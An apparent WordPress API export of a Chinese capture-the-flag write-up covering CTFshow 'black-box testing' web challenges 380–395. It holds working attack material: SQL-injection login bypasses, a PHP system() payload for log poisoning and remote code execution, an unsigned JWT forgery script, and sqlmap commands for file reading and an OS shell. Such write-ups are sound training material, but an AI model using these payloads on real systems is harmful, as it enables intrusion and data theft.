{"id":157,"date":"2025-09-22T22:33:23","date_gmt":"2025-09-22T14:33:23","guid":{"rendered":"http:\/\/101.201.119.158\/?p=157"},"modified":"2025-09-22T22:33:24","modified_gmt":"2025-09-22T14:33:24","slug":"%e9%bb%91%e7%9b%92%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"http:\/\/101.201.119.158\/?p=157","title":{"rendered":"\u9ed1\u76d2\u6d4b\u8bd5"},"content":{"rendered":"\n

web380<\/h2>\n\n\n\n

\u968f\u4fbf\u6253\u5f00\u4e00\u4e2a\u53d1\u73b0\u90fd\u662fpage_+\u6570\u5b57.php\u7684\u7f51\u5740\uff0c\u90a3\u5c31\u8bd5\u8bd5page.php\uff0c\u70b9\u5f00\u53d1\u73b0\u6253\u5f00$id.php\u5931\u8d25\uff0c\u76f4\u63a5\u6d4b\u8bd5id\u8fd9\u4e2a\u53c2\u6570\uff0c\u7136\u540e\u5c31\u770b\u770b\u5457\uff0c\u53d1\u73b0?id=flag\u76f4\u63a5\u5c31\u51fa\u6765flag\u4e86<\/p>\n\n\n\n

web381<\/h2>\n\n\n\n

\u70b9\u5f00\u4e8c\u4ef6\u5957(dir,\u770b\u6e90\u7801)\uff0c<\/p>\n\n\n\n

<meta charset=\"utf-8\">
  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">
  <title>CTFshow\u840c\u65b0\u535a\u5ba2<\/title>
  <link rel=\"stylesheet\" href=\"layui\/css\/layui.css\">
  <link rel=\"stylesheet\" href=\"layui\/css\/global.css\">
  <link rel=\"stylesheet\" href=\"alsckdfy\/layui\/css\/tree.css\"><\/pre>\n\n\n\n
\u53d1\u73b0\u6709\u4e2a\u8fd9\u4e2a\uff0c\u4e0d\u8fc7\u6709\u4e2a\u7279\u6b8a\u7684alsckdfy,\u56e0\u4e3a\u5176\u4ed6\u7684\u90fd\u662f\u5728layui\u4e0b\u9762\u561b\uff0c\u70b9\u5f00\u770b\u770b<\/p>\n\n\n\n
\u5c31\u51fa\u6765flag\u4e86<\/p>\n\n\n\n
web382<\/h2>\n\n\n\n
\u56e0\u4e3a\u4ed6\u8fd9\u4e2a\u9898\u662f\u5c42\u5c42\u9012\u8fdb\u7684\u561b\uff0c\u76f4\u63a5\/alsckdfy\uff0c\u53d1\u73b0\u662f\u767b\u5f55\u7684\u7f51\u5740\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\u9762\u767b\u5f55\u6846\u5b58\u5728SQL\u6ce8\u5165\u554a\uff0cXSS\u554a\u4ec0\u4e48\u7684\u6f0f\u6d1e\uff0c\u76f4\u63a5SQL\u6ce8\u5165\u6d4b\u8bd5\uff0c\u53d1\u73b0\u4e07\u80fd\u5bc6\u7801\u76f4\u63a5\u51fa\u6765<\/p>\n\n\n\n
username:1' or 1=1#
password\uff1a\u968f\u4fbf\u5199\u5c31\u884c<\/pre>\n\n\n\n
web383<\/h2>\n\n\n\n
\u540c\u4e0a<\/p>\n\n\n\n
web384<\/h2>\n\n\n\n
\u5bc6\u7801\u524d2\u4f4d\u662f\u5c0f\u5199\u5b57\u6bcd\uff0c\u540e\u4e09\u4f4d\u662f\u6570\u5b57<\/pre>\n\n\n\n
username:admin
password:\u76f4\u63a5\u6293\u5305\u6539\u5c31\u884c\u4e86\uff0c\u7206\u7834\u5668 \u8dd1\u51fa\u6765\u662fxy123<\/pre>\n\n\n\n
web385<\/h2>\n\n\n\n
\u8fd9\u4e2a\u8001\u6837\u5b50\u4e8c\u4ef6\u5957\uff0c\u51fa\u6765\/install<\/p>\n\n\n\n
\u8bf7\u52a1\u5fc5\u5728\u5b89\u88c5\u6210\u529f\u540e\u5220\u9664\u672c\u6587\u4ef6
\u9700\u8981\u91cd\u65b0\u5b89\u88c5\u8bf7\u8bbf\u95eeinstall\/?install,\u7ba1\u7406\u5458\u5bc6\u7801\u5c06\u91cd\u7f6e\u4e3a\u9ed8\u8ba4\u5bc6\u7801<\/pre>\n\n\n\n
\u8bbf\u95ee\/install\/?install
\u8bf7\u52a1\u5fc5\u5728\u5b89\u88c5\u6210\u529f\u540e\u5220\u9664\u672c\u6587\u4ef6
\u9700\u8981\u91cd\u65b0\u5b89\u88c5\u8bf7\u8bbf\u95eeinstall\/?install,\u7ba1\u7406\u5458\u5bc6\u7801\u5c06\u91cd\u7f6e\u4e3a\u9ed8\u8ba4\u5bc6\u7801
\u5b89\u88c5\u6210\u529f\uff0c\u8bf7\u7acb\u5373\u5220\u9664\u672c\u6587\u4ef6<\/pre>\n\n\n\n
\u8bf4\u660e\u5bc6\u7801\u91cd\u7f6e\u4e86\uff0c\u800clayui\u4ed6\u9ed8\u8ba4\u8d26\u53f7\u662f<\/p>\n\n\n\n
admin\/admin888<\/pre>\n\n\n\n
\u8bbf\u95ee\/alsckdfy \u8f93\u5165\u8d26\u53f7\u5bc6\u7801\u51fa\u6765flag<\/p>\n\n\n\n
web386<\/h2>\n\n\n\n
dir\u626b\u51fa\u6765\/install<\/p>\n\n\n\n
\/install
lock.dat\u5b58\u5728\uff0c\u4f60\u5df2\u7ecf\u5b89\u88c5\u8fc7\u4e86\uff0c\u8bf7\u52ff\u91cd\u590d\u5b89\u88c5
\/page.php
\u6253\u5f00page_$id.php\u5931\u8d25
\/clear.php
\u6e05\u7406\u5b8c\u6210<\/pre>\n\n\n\n
\u5f00\u59cb\u731c\u4e00\u4e0b\u53c2\u6570\u561b\uff0cfile\u554aid\u4ec0\u4e48\u7684
\/clear.php?file=.\/install\/lock.dat
\u518d\u8bbf\u95ee\/install\/\u53d1\u73b0
\u8bf7\u52a1\u5fc5\u5728\u5b89\u88c5\u6210\u529f\u540e\u5220\u9664\u672c\u6587\u4ef6
\u9700\u8981\u91cd\u65b0\u5b89\u88c5\u8bf7\u8bbf\u95eeinstall\/?install,\u7ba1\u7406\u5458\u5bc6\u7801\u5c06\u91cd\u7f6e\u4e3a\u9ed8\u8ba4\u5bc6\u7801
\u518d\u6b21\u8bbf\u95eeinstall\/?install\u53d1\u73b0\u91cd\u7f6e\u5bc6\u7801\u4e86
\u8bbf\u95ee\/alsckdfy \u8f93\u5165\u9ed8\u8ba4\u7684\u8d26\u53f7\u5bc6\u7801\u51fa\u6765flag<\/pre>\n\n\n\n
web387<\/h2>\n\n\n\n
dir\u4e00\u4e0b\u51fa\u6765\/debug<\/p>\n\n\n\n
\/debug
file not exist
\u7136\u540e\u4f7f\u7528file\u53c2\u6570\u53d1\u73b0\u53ef\u4ee5\u8fdb\u884c\u6587\u4ef6\u5305\u542b\uff0c\u5c31\u67e5\u770b\u65e5\u5fd7
\/debug\/?file=\/var\/log\/nginx\/access.log
\u53d1\u73b0\u53ef\u4ee5\uff0c\u5c31\u5c1d\u8bd5\u65e5\u5fd7\u6ce8\u5165(\u5728UA\u5934\u91cc\u9762\u4f20\ud83d\udc0e\uff0c\u7136\u540e\u8fdb\u884cRCE)\u5c31\u53ef\u4ee5\u4e86<\/pre>\n\n\n\n
<?php system('cat \/var\/www\/html\/alsckdfy\/check.php > \/var\/www\/html\/1.txt')?><\/pre>\n\n\n\n
\u7136\u540e\u8bbf\u95ee1.txt\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n
web388<\/h2>\n\n\n\n
dir\uff1a\u53d1\u73b0alsckdfy\/ \u7136\u540e\u63a5\u7740\u53d1\u73b0alsckdfy\/editor\/\u6709\u4e2a\u6587\u4ef6\u7f16\u8bd1\u5668<\/p>\n\n\n\n
\u53d1\u73b0\u6709\u4e00\u4e2a\u50cf\u94fe\u63a5\u7684\u4e1c\u897f\u4f20\u5165\u6587\u4ef6\u4e0d\u8fc7\u8981\u4f7f\u7528zip<\/p>\n\n\n\n
1.zip
<?php system('cat \/var\/www\/html\/alsckdfy\/check.php > \/var\/www\/html\/1.txt')?><\/pre>\n\n\n\n
\u8bbf\u95ee\/debug\/ \u53d1\u73b0\u8f93\u5165\u53c2\u6570file\u53ef\u4ee5\u6267\u884c\u6587\u4ef6\u7684\u547d\u4ee4
\u76f4\u63a5file=zip\u7684\u6587\u4ef6\u5730\u5740\uff0c\u7136\u540e\u8bbf\u95ee1.txt\u5c31\u51fa\u6765\u4e86<\/pre>\n\n\n\n
web389<\/h2>\n\n\n\n
\/debug
\u6743\u9650\u4e0d\u8db3
\u53d1\u73b0\u662fcookie\u7684\u539f\u56e0
\u5728jwt.io\u90a3\u91cc\u89e3\u5bc6\u53d1\u73b0\u662fuser,\u76f4\u63a5\u6539\u4e00\u4e0b\u518d\u52a0\u5bc6\uff0c\u9644\u4e0a\u4ee3\u7801<\/pre>\n\n\n\n
import jwt
\u200b
# payload
token_dict = {
  \"iss\": \"admin\",
  \"iat\": 1758542216,
  \"exp\": 1758549416,
  \"nbf\": 1758542216,
  \"sub\": \"admin\",
  \"jti\": \"1b62ca025adc6885d1b8d197a2b7cd01\"
}
# headers
headers = {
    \"alg\": \"none\",
    \"typ\": \"JWT\"
}
\u200b
jwt_token = jwt.encode(token_dict,  # payload, \u6709\u6548\u8f7d\u4f53
                       key='',
                       headers=headers,  # json web token \u6570\u636e\u7ed3\u6784\u5305\u542b\u4e24\u90e8\u5206, payload(\u6709\u6548\u8f7d\u4f53), headers(\u6807\u5934)
                       algorithm=\"none\",  # \u6307\u660e\u7b7e\u540d\u7b97\u6cd5\u65b9\u5f0f, \u9ed8\u8ba4\u4e5f\u662fHS256
                       )  # python3 \u7f16\u7801\u540e\u5f97\u5230 bytes, \u518d\u8fdb\u884c\u89e3\u7801(\u6307\u660e\u89e3\u7801\u7684\u683c\u5f0f), \u5f97\u5230\u4e00\u4e2astr
\u200b
print(jwt_token)
\/\/\u8bb0\u5f97\u6539<\/pre>\n\n\n\n
\u7136\u540e\u64cd\u4f5c\u548c\u4e0a\u9762\u4e00\u6837<\/p>\n\n\n\n
web390<\/h2>\n\n\n\n
\u975e\u9884\u671f\u89e3\u662f\u548c\u4e0a\u9762\u64cd\u4f5c\u4e00\u6837\u7684<\/pre>\n\n\n\n
\u9884\u671f\u89e3<\/p>\n\n\n\n
\u70b9\u5f00\u4efb\u610f\u4e00\u4e2a\u6587\u7ae0\uff0c\u53d1\u73b0\u662f<\/p>\n\n\n\n
page.php?id=1<\/pre>\n\n\n\n
\u5e94\u8be5\u662f\u5b58\u5728SQL\u6ce8\u5165\u7684\uff0c\u6d4b\u8bd5\u4e00\u4e0b<\/p>\n\n\n\n
1 or 1=1<\/pre>\n\n\n\n
\u53d1\u73b0\u53ef\u4ee5\uff0csqlmap\u8dd1\u4e00\u4e0b<\/p>\n\n\n\n
sqlmap -u url --file-read \/var\/www\/html\/alsckdfy\/check.php --batch <\/pre>\n\n\n\n
\u8fd0\u884c\u5b8c\u4f1a\u5c06\u6587\u4ef6\u4fdd\u5b58\u5728\u4f60\u7684\u672c\u5730\uff0c\u76f4\u63a5\u8bbf\u95ee\u5c31\u62ff\u5230flag<\/p>\n\n\n\n
\u5229\u7528 sqlmap \u8fdb\u884cgetshell 
python sqlmap.py -u url --is-dba
\u53d1\u73b0\u663e\u793a current user is DBA:True<\/pre>\n\n\n\n
\u53ef\u4ee5\u8fdb\u884cgetshell<\/p>\n\n\n\n
python sqlmap.py -u url --os-shell
\u7136\u540e\u662f4:php 2\uff1a\u81ea\u5b9a\u4e49\u6587\u4ef6 \u5199\u5165shell\uff0c\u4f1a\u7ed9\u4f60\u7f51\u7ad9\uff0c\u8fdb\u884c\u6587\u4ef6\u4e0a\u4f20\u5c31ok\u4e86<\/pre>\n\n\n\n
web391<\/h2>\n\n\n\n
web392<\/h2>\n\n\n\n
\u540c\u4e0a\uff0c\u5305\u62ec\u975e\u9884\u671f\u89e3<\/p>\n\n\n\n
web393<\/h2>\n\n\n\n
\u540c\u6837\u53ef\u4ee5\u4f7f\u7528\u4e0a\u9762\u7684\u975e\u9884\u671f\u89e3\uff0c\u4e0d\u8fc7\u53ef\u4ee5\u4f7f\u7528sql\u6ce8\u5165<\/p>\n\n\n\n
url\u4e3a\uff1a\/link.php?id=4<\/pre>\n\n\n\n
\u662f\u6709\u53c2\u6570\u7684\uff0c\u6240\u4ee5\u57fa\u672c\u53ef\u4ee5\u80af\u5b9a\u662f\u4e0e\u6570\u636e\u5e93\u6709\u8fde\u63a5\u7684<\/p>\n\n\n\n
\u53ef\u4ee5\u5229\u7528\u4e0a\u4e00\u9898\u7684\u6ce8\u5165\u70b9\u6765\u8fdb\u884cinsert\u6ce8\u5165\u6216\u8005update\u6ce8\u5165\uff0c\u5e76\u5229\u7528ssrf\u6765\u8bfb\u53d6\u672c\u5730\u6587\u4ef6\uff1aa';update link set url='file:\/\/\/flag' where id = 1;#<\/pre>\n\n\n\n
web394,web395<\/h2>\n\n\n\n
\u90fd\u662f\u5229\u7528\u4e0a\u9762\u7684\u975e\u9884\u671f\u89e3<\/p>\n","protected":false},"excerpt":{"rendered":"
web380 \u968f\u4fbf\u6253\u5f00\u4e00\u4e2a\u53d1\u73b0\u90fd\u662fpage_+\u6570\u5b57.php\u7684\u7f51\u5740\uff0c\u90a3\u5c31\u8bd5\u8bd5page.php\uff0c\u70b9\u5f00\u53d1\u73b0\u6253\u5f00$id […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,2],"tags":[],"class_list":["post-157","post","type-post","status-publish","format-standard","hentry","category-ctf","category-web"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/157","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=157"}],"version-history":[{"count":1,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/157\/revisions"}],"predecessor-version":[{"id":158,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/157\/revisions\/158"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=157"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}